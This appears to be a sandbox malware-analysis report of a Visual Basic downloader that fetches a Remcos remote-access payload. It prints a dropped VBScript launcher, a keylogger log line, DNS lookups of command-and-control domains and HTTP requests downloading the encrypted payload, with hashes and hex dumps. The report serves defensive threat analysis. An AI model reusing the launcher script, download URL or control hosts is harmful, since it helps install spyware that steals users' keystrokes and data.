https://view.joesandbox.com/analysis/292083/html/none?idtype=webid
https://view.joesandbox.com/analysis/292077/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/292077/html/none?idtype=webid
https://view.joesandbox.com/analysis/284906/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/284906/html/none?idtype=webid
https://view.joesandbox.com/analysis/278420/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/278420/html/none?idtype=webid
https://view.joesandbox.com/analysis/274674/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/274674/html/none?idtype=webid
https://view.joesandbox.com/analysis/273400/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/273400/html/none?idtype=webid
https://view.joesandbox.com/analysis/265004/html/none?idtype=webid#static
https://view.joesandbox.com/analysis/265004/html/none?idtype=webid


Encrypted: false

SSDEEP: 12:4D8o++ugypjBQMBvFQ4lOAMJnAGF0M/0aimi:4Dh+S0FNOj7F0Nait

MD5: 69339977F20CBF10E59B9609355FDAD1

SHA1: 28275BF11AF1EAA7B41AB836BBFD85F9A59C99EF

SHA-256: 180976FE30D7F115FF9112B387D7CC4B533B2E58EDCDC6EFA18121C590C59D9A

SHA-512: 17A8ABD09E280000D4CADB466777CDF83387D7021572FFC8360A01CDD2B13FC5A81351FA2708AC74B441B0C7DE2B0A9ACF0CF28EDCAE7C12101268C54128876
4

Malicious: true

Reputation: moderate, very likely benign file

Preview:
W.S.c.r.i.p.t...S.l.e.e.p. .1.0.0.0...S.e.t. .f.s.o. .=. .C.r.e.a.t.e.O.b.j.e.c.t.(.".S.c.r.i.p.t.i.n.g...F.i.l.e.S.y.s.t.e.m.O.b.j.e.c.t.".)...C.r.e.a.t.e.O.b.j.e.c.t.(.".W.S.c.r.i.p.t...S.h.e.l.l.".
)...R.u.n. .".c.m.d. ./.c. .".".C.:.\.U.s.e.r.s.\.a.l.f.o.n.s.\.A.p.p.D.a.t.a.\.R.o.a.m.i.n.g.\.w.i.n...e.x.e.".".".,. .0...f.s.o...D.e.l.e.t.e.F.i.l.e.(.W.s.c.r.i.p.t...S.c.r.i.p.t.F.u.l.l.N.a.m.e.).

C:\Users\user\AppData\Local\Temp\install.vbs

C:\Users\user\AppData\Roaming\logs.dat
Process: C:\Users\user\AppData\Roaming\win.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 74

Entropy (8bit): 4.700998596636514

Encrypted: false

SSDEEP: 3:ttUbV2aTF7LrA4RXMRPHv31aeo:tmLJ/XqdHv3IP

MD5: 46E680FC196FD7A87F829F037DC0E1C8

SHA1: 0399789B91B2B8B6983B64A730BD8DC5180FC2BE

SHA-256: 6FDC5B1AC2CDA7E8F0E7FDB618FCE128C8C6E24EAC873E2FA51F979946F5BE9F

SHA-512: 59A534B44284262764474444807F8EFA5AF61FDDC58382786072EBC9EEB840A1F3F810E9917CFD5E9DF08CAC35C15866AA18AAABC36A11C4C776C9804F60B9E0

Malicious: false

Reputation: low

Preview:
..[2021/06/07 20:41:46 Offline Keylogger Started]....[ Program Manager ]..

C:\Users\user\AppData\Roaming\win.exe

Process: C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

File Type: PE32 executable (GUI) Intel 80386, for MS Windows

Category: dropped

Size (bytes): 110592

Entropy (8bit): 6.27480729113905

Encrypted: false

SSDEEP: 3072:68n1eqngtFaxWqEfGBpQ2JyB92mTZP9dsWtnHlvXzyoyZlGLwh/9Gco:6XFaxWqEfGBpQ2JyB92mTZP9dsSno/9J

MD5: 6AA873EE68B60704E3D00F5C885A90F7

SHA1: C1A1601CE429CF7CB2D4C255325BF408FE69B1D5

SHA-256: 32DCDBAC829F1B6607C1581488A6CF95541FBA686F5F81C23B9E1E79761A971B

SHA-512: AC7D6F8197CE8149CAE32BFC45DD499C0A02F1AA03190A41E3FDB07AF68D4826ECAD2624A2FF229A200AD9F96A84104D11C2C94773B3A4A6E9E3D5A0EC793D
7A

Malicious: true

Antivirus: Antivirus: ReversingLabs, Detection: 13%

Reputation: low

Preview:
MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L......H..............
.......0....................@.................................. ......................................4...(...........................................................................(... ....................................text............................... .
.`.data...............................@....rsrc...............................@..@...I............MSVBVM60.DLL..................................................................................................................................
..............................................................................................................................................................................................................................................................................
....................

C:\Users\user\AppData\Roaming\win.exe:Zone.Identifier

Process: C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

File Type: ASCII text, with CRLF line terminators

Category: dropped

Size (bytes): 26

Entropy (8bit): 3.95006375643621

Encrypted: false

SSDEEP: 3:ggPYV:rPYV

MD5: 187F488E27DB4AF347237FE461A079AD

SHA1: 6693BA299EC1881249D59262276A0D2CB21F8E64

SHA-256: 255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309

SHA-512: 89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E

Malicious: true

Reputation: high, very likely benign file
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Static File Info

General
File type: PE32 executable (GUI) Intel 80386, for MS Windows

Entropy (8bit): 6.27480729113905

TrID: Win32 Executable (generic) a (10002005/4) 
99.15%
Win32 Executable Microsoft Visual Basic 6 
(82127/2) 0.81%
Generic Win/DOS Executable (2004/3) 0.02%
DOS Executable Generic (2002/1) 0.02%
Autodesk FLIC Image File (extensions: flc, fli, cel) 
(7/3) 0.00%

File name: SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

File size: 110592

MD5: 6aa873ee68b60704e3d00f5c885a90f7

SHA1: c1a1601ce429cf7cb2d4c255325bf408fe69b1d5

SHA256: 32dcdbac829f1b6607c1581488a6cf95541fba686f5f81c2
3b9e1e79761a971b

SHA512: ac7d6f8197ce8149cae32bfc45dd499c0a02f1aa03190a4
1e3fdb07af68d4826ecad2624a2ff229a200ad9f96a84104
d11c2c94773b3a4a6e9e3d5a0ec793d7a

SSDEEP: 3072:68n1eqngtFaxWqEfGBpQ2JyB92mTZP9dsWtnHl
vXzyoyZlGLwh/9Gco:6XFaxWqEfGBpQ2JyB92mTZP9d
sSno/9J

File Content Preview: MZ......................@...............................................!..L.!Th
is program cannot be run in DOS mode....$........#...B...B
...B..L^...B...`...B...d...B..Rich.B..........PE..L......H.............
........0....................@................

File Icon

Icon Hash: 2828bae9d2777576

Preview:
[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Roaming\win.exe:Zone.Identifier

C:\Windows\Lwo7
Process: C:\Users\user\AppData\Roaming\win.exe

File Type: ASCII text, with CRLF line terminators

Category: modified

Size (bytes): 56

Entropy (8bit): 3.521640636343319

Encrypted: false

SSDEEP: 3:RRQRRQRRQRRQn:qQQS

MD5: A0C9E601546791A2A273DEAC8256A3E5

SHA1: 4014E6DD93022436BEB51DFB32BDF995542C3942

SHA-256: 77F928BAFA7CCBF6071DD1DC877C30D5C9E1380F53F31A7283AE769B0C9BE20D

SHA-512: 7F19CBF8F2D17B6632E4CAB562F6936EB791D1738C93A83CC61E4470780B84DCBFDB4D935324474CC0665882A04EA64FABF25DA2405263C7A668FD1B42CFD4F7

Malicious: false

Reputation: low

Preview:
Chittamwood3..Chittamwood3..Chittamwood3..Chittamwood3..

General
Entrypoint: 0x4015d0

Entrypoint Section: .text

Digitally signed: false

Imagebase: 0x400000

Subsystem: windows gui

Static PE Info
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Network Port Distribution

Image File Characteristics: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, 
LINE_NUMS_STRIPPED, RELOCS_STRIPPED

DLL Characteristics:

Time Stamp: 0x481B81AA [Fri May  2 21:03:38 2008 UTC]

TLS Callbacks:

CLR (.Net) Version:

OS Version Major: 4

OS Version Minor: 0

File Version Major: 4

File Version Minor: 0

Subsystem Version Major: 4

Subsystem Version Minor: 0

Import Hash: 20511f60b3c62ae145d60c4c066b22a5

General

Name Virtual Address Virtual Size Raw Size Xored PE ZLIB Complexity File Type Entropy Characteristics

.text 0x1000 0x17ff8 0x18000 False 0.472686767578 data 6.66010575968 IMAGE_SCN_MEM_EXECUTE, 
IMAGE_SCN_CNT_CODE, 
IMAGE_SCN_MEM_READ

.data 0x19000 0x121c 0x1000 False 0.00634765625 data 0.0 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_WRITE, 
IMAGE_SCN_MEM_READ

.rsrc 0x1b000 0x9d8 0x1000 False 0.227294921875 data 2.13794721656 IMAGE_SCN_CNT_INITIALIZED_DA
TA, IMAGE_SCN_MEM_READ

Language of compilation system Country where language is spoken Map

English United States

Network Behavior

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jun 7, 2021 20:40:15.139851093 CEST 192.168.2.5 8.8.8.8 0xebc1 Standard query 
(0)

ztechinter
national.com

A (IP address) IN (0x0001)

Jun 7, 2021 20:41:45.469919920 CEST 192.168.2.5 8.8.8.8 0xe8f Standard query 
(0)

ztechinter
national.com

A (IP address) IN (0x0001)

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Possible Origin

TCP Packets

UDP Packets

DNS Queries
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Jun 7, 2021 20:41:46.582689047 CEST 192.168.2.5 8.8.8.8 0x532 Standard query 
(0)

gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

A (IP address) IN (0x0001)

Jun 7, 2021 20:41:46.844860077 CEST 192.168.2.5 8.8.8.8 0xaeb5 Standard query 
(0)

ztechinter
national.com

A (IP address) IN (0x0001)

Jun 7, 2021 20:42:04.840228081 CEST 192.168.2.5 8.8.8.8 0x9c77 Standard query 
(0)

ztechinter
national.com

A (IP address) IN (0x0001)

Jun 7, 2021 20:42:08.818110943 CEST 192.168.2.5 8.8.8.8 0x39d7 Standard query 
(0)

gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

A (IP address) IN (0x0001)

Jun 7, 2021 20:42:30.982857943 CEST 192.168.2.5 8.8.8.8 0x9e52 Standard query 
(0)

gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

A (IP address) IN (0x0001)

Jun 7, 2021 20:42:53.187896967 CEST 192.168.2.5 8.8.8.8 0x5851 Standard query 
(0)

gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

A (IP address) IN (0x0001)

Jun 7, 2021 20:43:15.299810886 CEST 192.168.2.5 8.8.8.8 0x44f Standard query 
(0)

gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

A (IP address) IN (0x0001)

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Timestamp Source IP Dest IP Trans ID Reply Code Name CName Address Type Class

Jun 7, 2021 
20:40:15.182657003 
CEST

8.8.8.8 192.168.2.5 0xebc1 No error (0) ztechinter
national.com

192.185.113.219 A (IP address) IN (0x0001)

Jun 7, 2021 
20:41:45.515211105 
CEST

8.8.8.8 192.168.2.5 0xe8f No error (0) ztechinter
national.com

192.185.113.219 A (IP address) IN (0x0001)

Jun 7, 2021 
20:41:46.634160042 
CEST

8.8.8.8 192.168.2.5 0x532 No error (0) gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

188.72.110.19 A (IP address) IN (0x0001)

Jun 7, 2021 
20:41:47.009615898 
CEST

8.8.8.8 192.168.2.5 0xaeb5 No error (0) ztechinter
national.com

192.185.113.219 A (IP address) IN (0x0001)

Jun 7, 2021 
20:42:04.883430958 
CEST

8.8.8.8 192.168.2.5 0x9c77 No error (0) ztechinter
national.com

192.185.113.219 A (IP address) IN (0x0001)

Jun 7, 2021 
20:42:08.897591114 
CEST

8.8.8.8 192.168.2.5 0x39d7 No error (0) gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

188.72.110.19 A (IP address) IN (0x0001)

Jun 7, 2021 
20:42:31.048449039 
CEST

8.8.8.8 192.168.2.5 0x9e52 No error (0) gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

188.72.110.19 A (IP address) IN (0x0001)

Jun 7, 2021 
20:42:53.230797052 
CEST

8.8.8.8 192.168.2.5 0x5851 No error (0) gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

188.72.110.19 A (IP address) IN (0x0001)

Jun 7, 2021 
20:43:15.359699011 
CEST

8.8.8.8 192.168.2.5 0x44f No error (0) gsyagvxnzm
koplbhduis
bagtevcnxm
zlopljdgye
.ydns.eu

188.72.110.19 A (IP address) IN (0x0001)

            
ztechinternational.com

         

DNS Answers

HTTP Request Dependency Graph
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Session ID Source IP Source Port Destination IP Destination Port Process

0 192.168.2.5 49715 192.185.113.219 80 C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

Timestamp
kBytes
transferred Direction Data

Jun 7, 2021 
20:40:16.131059885 CEST

1066 OUT GET /dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: ztechinternational.com
Cache-Control: no-cache

Jun 7, 2021 
20:40:16.297375917 CEST

1067 IN HTTP/1.1 200 OK
Date: Mon, 07 Jun 2021 18:40:16 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Sun, 06 Jun 2021 21:56:54 GMT
Accept-Ranges: bytes
Content-Length: 131136
Content-Type: application/octet-stream
Data Raw: b0 8d ab 08 57 8e 61 a7 eb fe 2b 2b 06 b8 da 62 ed 86 b7 cb 09 e0 c1 d9 23 4e 2a 90 8e 19 c3 4f b3 a9 65 45 
5e 99 bd 65 16 b3 e2 e5 9a 0a 6a 91 27 49 c4 22 07 be b6 97 d1 46 de 76 8f 6c d7 30 cb db 1a 49 82 a3 a0 55 f9 d4 01 88 
ef da af cc 85 6e 84 a1 db d1 10 b6 55 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 
9a 9f 00 d1 98 9c a1 1f 59 68 15 6d 0d fd bf 44 b3 73 04 a0 9c 6f 2b f9 f5 66 57 02 b2 46 e8 3e 7f af 59 fe 21 89 70 94 9b 
6c 3d 9f 3d 1c a0 15 40 34 53 93 10 88 26 bb eb c2 44 c5 23 e9 41 a6 59 3e dc 09 e6 a4 63 fc 44 c9 56 37 65 b6 b1 2a 03 
b3 6c 60 62 10 d6 33 03 4f 95 53 3a c2 37 98 96 74 c8 94 09 09 78 e6 26 ca b9 76 15 1d ee 17 ba 70 14 4c db ce 47 43 cc 
8d 7e 25 2b ea 7b 46 1f e3 2e 46 4b aa 04 b1 34 14 16 54 84 a9 3d 56 8d c7 18 59 8e b8 99 33 a8 b9 21 36 c5 0e 31 01 
51 96 78 4b d3 da 0d c2 f0 49 60 62 11 32 3d f1 94 40 6e 6e 78 3e fd 20 06 3e 66 79 25 29 16 7b 28 40 55 7b 2b 1a d9 28 
4e 1d 7d ce 8d 4f 34 86 77 e4 9a bd 6c 22 fc a6 eb 98 20 d8 1f 49 ce 91 e4 72 00 c7 52 36 9e 79 bc cf a0 d8 98 9a 1d 93 
1a bc a8 f1 53 b3 bb 5e d8 e6 e6 03 09 05 97 f2 2b 16 e7 81 22 61 73 ec 32 81 65 97 67 c4 3f f6 74 05 e4 4d c7 b4 11 79 
f8 83 29 3a 59 99 ee 2b ff 40 1c 5f e1 e6 0e 28 08 e3 9a 93 c1 e7 6f 07 50 ab 33 20 6f da c7 ef 9b 4d 22 8a 1c e3 23 ad 9a 
ee d7 ec 42 8b ca c5 73 4b b1 a3 fe 3a 61 a9 a7 4f f2 7f a7 22 24 65 2a 63 85 71 be 6f 2f a0 6d b1 37 69 19 c6 bc 34 51 c3 
71 d0 a3 c5 67 2f e5 8b 82 54 cc cc 97 99 c4 70 91 71 85 54 8c a8 10 58 9c 57 13 1d bf 34 38 2a 88 27 97 72 e6 fa 4d bc 
07 5c ff c5 ec b6 73 9f d2 d9 a5 9c 31 d1 17 6a a2 dc cc 64 92 6e 47 a4 aa 17 4e b2 9c 7e 02 6c c4 fa db ec 6f f7 b5 b3 1d 
92 eb 12 66 3f e0 b0 11 15 00 c3 78 bd 3b c5 25 6a 26 d7 ec b9 22 cd 6d 99 0a 33 b0 1e 47 45 42 40 b6 c5 7f f3 6e e1 69 
2a a8 e5 70 cf 04 0d 71 56 82 91 88 b1 a6 43 17 f8 54 eb 78 dd 81 71 ce 9d 45 8c c9 5e 20 6c 9e 33 eb 13 78 18 80 58 66 
79 ab ae 36 ca 33 06 14 c7 3a e7 b0 c5 73 f2 ab 02 da 42 a1 42 df 57 00 2c 4f da cf 05 24 30 70 63 d6 d2 c5 90 69 47 92 
b2 ba 97 ac cf f2 93 d1 8d f9 c6 58 8f 55 8c 1a ef 2e 90 25 cc b2 77 55 a3 ef b3 21 c9 88 cb f6 5c 4a 21 47 e0 f4 7c 2e 5e 
fc 27 2f 2d ec 9c 69 f7 80 ad 20 19 8c 98 a6 34 ac 57 4c 0d e7 69 3b b8 36 d6 24 58 4b ee cb 1d 12 59 68 2c 50 dd 1b e5 
de cb 60 41 11 57 2c 19 bc c0 37 10 9c 7a 11 26 0a f2 08 3b d4 84 4c 2d 95 40 2f 53 ab 1f 79 f5 23 a7 58 f3 3d 20 3a f9 0a
e4 1b ab ca 43 1c 0e 7b d9 4d 10 f6 3e d3 53 6a 68 dd 69 4a bb f2 29 0c 30 86 52 eb 7c 44 65 90 8b 60 93 90 c1 07 57 b8 
f0 1c f0 d1 31 2e 7a 26 a2 79 39 ea 8c 5e 68 fa 4c dd 93 b6 86 81 8a 49 81 a3 a0 55 fd d4 01 88 10 25 af cc 3d 6e 84 a1 
db d1 10 b6 15 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 9a 9f 00 d1 98 9c a1 1f 
a1 68 15 6d 03 e2 05 4a b3 c7 0d 6d bd d7 2a b5 38 47 03 6a db 35 c8 4e 0d c0 3e 8c 40 e4 50 f7 fa 02 53 f0 49 3c c2 70 
60 46 26 fd 30 e1 48 9b af 8d 17 e5 4e 86 25 c3 77 33 d1 03 c2 a4 63 fc 44 c9 56 37 01 ca 36 93 23 ae 85 8a 42 0d 3f d9 
23 52 7c b9 57 fc c3 72 b7 69 21 7e 7a 37 88 0c 04 d7 50 9c 35 00 07 fd 95 6d fd a6 80 cf a2 a9 ed 90 97 cf 88 eb 9c ac 
3b fe c7 ac 83 a8 e7 5b 1f 09 ff be 4c ab d0 bc a9 da f1 b3 cc ba 63 d9 87 a4 c8 dc e5 13 d9 eb 3e 8a 91 a1 4b c1 e2 28 
d1 54 89 88 d9 30 df 1b aa 5d 87 84 2a 57 9e 
Data Ascii: Wa++b#N*OeE^ej'I"Fvl0IUnU*CqFB^0~x?mYhmDso+fWF>Y!pl==@4S&D#AY>cDV7e*l`b3OS:7tx&vpLGC~%+
{F.FK4T=VY3!61QxKI`b2=@nnx> >fy%){(@U{+(N}O4wl" IrR6yS^+"as2eg?tMy):Y+@_(oP3 oM"#BsK:aO"$e*cqo/m7i4Qq
g/TpqTXW48*'rM\s1jdnGN~lof?x;%j&"m3GEB@ni*pqVCTxqE^ l3xXfy63:sBBW,O$0pciGXU.%wU!\J!G|.^'/-i 4WLi;6$X
KYh,P`AW,7z&;L-@/Sy#X= :C{M>SjhiJ)0R|De`W1.z&y9^hLIU%=n*CqFB^0~x?mhmJm*8Gj5N>@PSI<p`F&0HN%
w3cDV76#B?#R|Wri!~z7P5m;[Lc>K(T0]*W

Session ID Source IP Source Port Destination IP Destination Port Process

1 192.168.2.5 49718 192.185.113.219 80 C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

Timestamp
kBytes
transferred Direction Data

Jun 7, 2021 
20:41:45.755729914 CEST

1510 OUT GET /dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: ztechinternational.com
Cache-Control: no-cache

HTTP Packets
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Jun 7, 2021 
20:41:45.921027899 CEST

1512 IN HTTP/1.1 200 OK
Date: Mon, 07 Jun 2021 18:41:45 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Sun, 06 Jun 2021 21:56:54 GMT
Accept-Ranges: bytes
Content-Length: 131136
Content-Type: application/octet-stream
Data Raw: b0 8d ab 08 57 8e 61 a7 eb fe 2b 2b 06 b8 da 62 ed 86 b7 cb 09 e0 c1 d9 23 4e 2a 90 8e 19 c3 4f b3 a9 65 45 
5e 99 bd 65 16 b3 e2 e5 9a 0a 6a 91 27 49 c4 22 07 be b6 97 d1 46 de 76 8f 6c d7 30 cb db 1a 49 82 a3 a0 55 f9 d4 01 88 
ef da af cc 85 6e 84 a1 db d1 10 b6 55 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 
9a 9f 00 d1 98 9c a1 1f 59 68 15 6d 0d fd bf 44 b3 73 04 a0 9c 6f 2b f9 f5 66 57 02 b2 46 e8 3e 7f af 59 fe 21 89 70 94 9b 
6c 3d 9f 3d 1c a0 15 40 34 53 93 10 88 26 bb eb c2 44 c5 23 e9 41 a6 59 3e dc 09 e6 a4 63 fc 44 c9 56 37 65 b6 b1 2a 03 
b3 6c 60 62 10 d6 33 03 4f 95 53 3a c2 37 98 96 74 c8 94 09 09 78 e6 26 ca b9 76 15 1d ee 17 ba 70 14 4c db ce 47 43 cc 
8d 7e 25 2b ea 7b 46 1f e3 2e 46 4b aa 04 b1 34 14 16 54 84 a9 3d 56 8d c7 18 59 8e b8 99 33 a8 b9 21 36 c5 0e 31 01 
51 96 78 4b d3 da 0d c2 f0 49 60 62 11 32 3d f1 94 40 6e 6e 78 3e fd 20 06 3e 66 79 25 29 16 7b 28 40 55 7b 2b 1a d9 28 
4e 1d 7d ce 8d 4f 34 86 77 e4 9a bd 6c 22 fc a6 eb 98 20 d8 1f 49 ce 91 e4 72 00 c7 52 36 9e 79 bc cf a0 d8 98 9a 1d 93 
1a bc a8 f1 53 b3 bb 5e d8 e6 e6 03 09 05 97 f2 2b 16 e7 81 22 61 73 ec 32 81 65 97 67 c4 3f f6 74 05 e4 4d c7 b4 11 79 
f8 83 29 3a 59 99 ee 2b ff 40 1c 5f e1 e6 0e 28 08 e3 9a 93 c1 e7 6f 07 50 ab 33 20 6f da c7 ef 9b 4d 22 8a 1c e3 23 ad 9a 
ee d7 ec 42 8b ca c5 73 4b b1 a3 fe 3a 61 a9 a7 4f f2 7f a7 22 24 65 2a 63 85 71 be 6f 2f a0 6d b1 37 69 19 c6 bc 34 51 c3 
71 d0 a3 c5 67 2f e5 8b 82 54 cc cc 97 99 c4 70 91 71 85 54 8c a8 10 58 9c 57 13 1d bf 34 38 2a 88 27 97 72 e6 fa 4d bc 
07 5c ff c5 ec b6 73 9f d2 d9 a5 9c 31 d1 17 6a a2 dc cc 64 92 6e 47 a4 aa 17 4e b2 9c 7e 02 6c c4 fa db ec 6f f7 b5 b3 1d 
92 eb 12 66 3f e0 b0 11 15 00 c3 78 bd 3b c5 25 6a 26 d7 ec b9 22 cd 6d 99 0a 33 b0 1e 47 45 42 40 b6 c5 7f f3 6e e1 69 
2a a8 e5 70 cf 04 0d 71 56 82 91 88 b1 a6 43 17 f8 54 eb 78 dd 81 71 ce 9d 45 8c c9 5e 20 6c 9e 33 eb 13 78 18 80 58 66 
79 ab ae 36 ca 33 06 14 c7 3a e7 b0 c5 73 f2 ab 02 da 42 a1 42 df 57 00 2c 4f da cf 05 24 30 70 63 d6 d2 c5 90 69 47 92 
b2 ba 97 ac cf f2 93 d1 8d f9 c6 58 8f 55 8c 1a ef 2e 90 25 cc b2 77 55 a3 ef b3 21 c9 88 cb f6 5c 4a 21 47 e0 f4 7c 2e 5e 
fc 27 2f 2d ec 9c 69 f7 80 ad 20 19 8c 98 a6 34 ac 57 4c 0d e7 69 3b b8 36 d6 24 58 4b ee cb 1d 12 59 68 2c 50 dd 1b e5 
de cb 60 41 11 57 2c 19 bc c0 37 10 9c 7a 11 26 0a f2 08 3b d4 84 4c 2d 95 40 2f 53 ab 1f 79 f5 23 a7 58 f3 3d 20 3a f9 0a
e4 1b ab ca 43 1c 0e 7b d9 4d 10 f6 3e d3 53 6a 68 dd 69 4a bb f2 29 0c 30 86 52 eb 7c 44 65 90 8b 60 93 90 c1 07 57 b8 
f0 1c f0 d1 31 2e 7a 26 a2 79 39 ea 8c 5e 68 fa 4c dd 93 b6 86 81 8a 49 81 a3 a0 55 fd d4 01 88 10 25 af cc 3d 6e 84 a1 
db d1 10 b6 15 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 9a 9f 00 d1 98 9c a1 1f 
a1 68 15 6d 03 e2 05 4a b3 c7 0d 6d bd d7 2a b5 38 47 03 6a db 35 c8 4e 0d c0 3e 8c 40 e4 50 f7 fa 02 53 f0 49 3c c2 70 
60 46 26 fd 30 e1 48 9b af 8d 17 e5 4e 86 25 c3 77 33 d1 03 c2 a4 63 fc 44 c9 56 37 01 ca 36 93 23 ae 85 8a 42 0d 3f d9 
23 52 7c b9 57 fc c3 72 b7 69 21 7e 7a 37 88 0c 04 d7 50 9c 35 00 07 fd 95 6d fd a6 80 cf a2 a9 ed 90 97 cf 88 eb 9c ac 
3b fe c7 ac 83 a8 e7 5b 1f 09 ff be 4c ab d0 bc a9 da f1 b3 cc ba 63 d9 87 a4 c8 dc e5 13 d9 eb 3e 8a 91 a1 4b c1 e2 28 
d1 54 89 88 d9 30 df 1b aa 5d 87 84 2a 57 9e 
Data Ascii: Wa++b#N*OeE^ej'I"Fvl0IUnU*CqFB^0~x?mYhmDso+fWF>Y!pl==@4S&D#AY>cDV7e*l`b3OS:7tx&vpLGC~%+
{F.FK4T=VY3!61QxKI`b2=@nnx> >fy%){(@U{+(N}O4wl" IrR6yS^+"as2eg?tMy):Y+@_(oP3 oM"#BsK:aO"$e*cqo/m7i4Qq
g/TpqTXW48*'rM\s1jdnGN~lof?x;%j&"m3GEB@ni*pqVCTxqE^ l3xXfy63:sBBW,O$0pciGXU.%wU!\J!G|.^'/-i 4WLi;6$X
KYh,P`AW,7z&;L-@/Sy#X= :C{M>SjhiJ)0R|De`W1.z&y9^hLIU%=n*CqFB^0~x?mhmJm*8Gj5N>@PSI<p`F&0HN%
w3cDV76#B?#R|Wri!~z7P5m;[Lc>K(T0]*W

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

2 192.168.2.5 49720 192.185.113.219 80 C:\Users\user\Desktop\SecuriteInfo.com.__vbaHresultCheckObj.9138.exe

Timestamp
kBytes
transferred Direction Data

Jun 7, 2021 
20:41:47.229598045 CEST

1649 OUT GET /dk/Ose_2021%20remcos_UsrkxBzfYJ78.bin HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: ztechinternational.com
Cache-Control: no-cache
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Jun 7, 2021 
20:41:47.405806065 CEST

1650 IN HTTP/1.1 200 OK
Date: Mon, 07 Jun 2021 18:41:47 GMT
Server: Apache
Upgrade: h2,h2c
Connection: Upgrade
Last-Modified: Sun, 06 Jun 2021 21:56:54 GMT
Accept-Ranges: bytes
Content-Length: 131136
Content-Type: application/octet-stream
Data Raw: b0 8d ab 08 57 8e 61 a7 eb fe 2b 2b 06 b8 da 62 ed 86 b7 cb 09 e0 c1 d9 23 4e 2a 90 8e 19 c3 4f b3 a9 65 45 
5e 99 bd 65 16 b3 e2 e5 9a 0a 6a 91 27 49 c4 22 07 be b6 97 d1 46 de 76 8f 6c d7 30 cb db 1a 49 82 a3 a0 55 f9 d4 01 88 
ef da af cc 85 6e 84 a1 db d1 10 b6 55 cb 2a ea bd 43 0a c8 71 46 42 5e 0b 15 0c 30 8d 7e d5 80 be 90 f3 c5 78 3f 87 6d 
9a 9f 00 d1 98 9c a1 1f 59 68 15 6d 0d fd bf 44 b3 73 04 a0 9c 6f 2b f9 f5 66 57 02 b2 46 e8 3e 7f af 59 fe 21 89 70 94 9b 
6c 3d 9f 3d 1c a0 15 40 34 53 93 10 88 26 bb eb c2 44 c5 23 e9 41 a6 59 3e dc 09 e6 a4 63 fc 44 c9 56 37 65 b6 b1 2a 03 
b3 6c 60 62 10 d6 33 03 4f 95 53 3a c2 37 98 96 74 c8 94 09 09 78 e6 26 ca b9 76 15 1d ee 17 ba 70 14 4c db ce 47 43 cc 
8d 7e 25 2b ea 7b 46 1f e3 2e 46 4b aa 04 b1 34 14 16 54 84 a9 3d 56 8d c7 18 59 8e b8 99 33 a8 b9 21 36 c5 0e 31 01 
51 96 78 4b d3 da 0d c2 f0 49 60 62 11 32 3d f1 94 40 6e 6e 78 3e fd 20 06 3e 66 79 25 29 16 7b 28 40 55 7b 2b 1a d9 28 
4e 1d 7d ce 8d 4f 34 86 77 e4 9a bd 6c 22 fc a6 eb 98 20 d8 1f 49 ce 91 e4 72 00 c7 52 36 9e 79 bc cf a0 d8 98 9a 1d 93 
1a bc a8 f1 53 b3 bb 5e d8 e6 e6 03 09 05 97 f2 2b 16 e7 81 22 61 73 ec 32 81 65 97 67 c4 3f f6 74 05 e4 4d c7 b4 11 79 
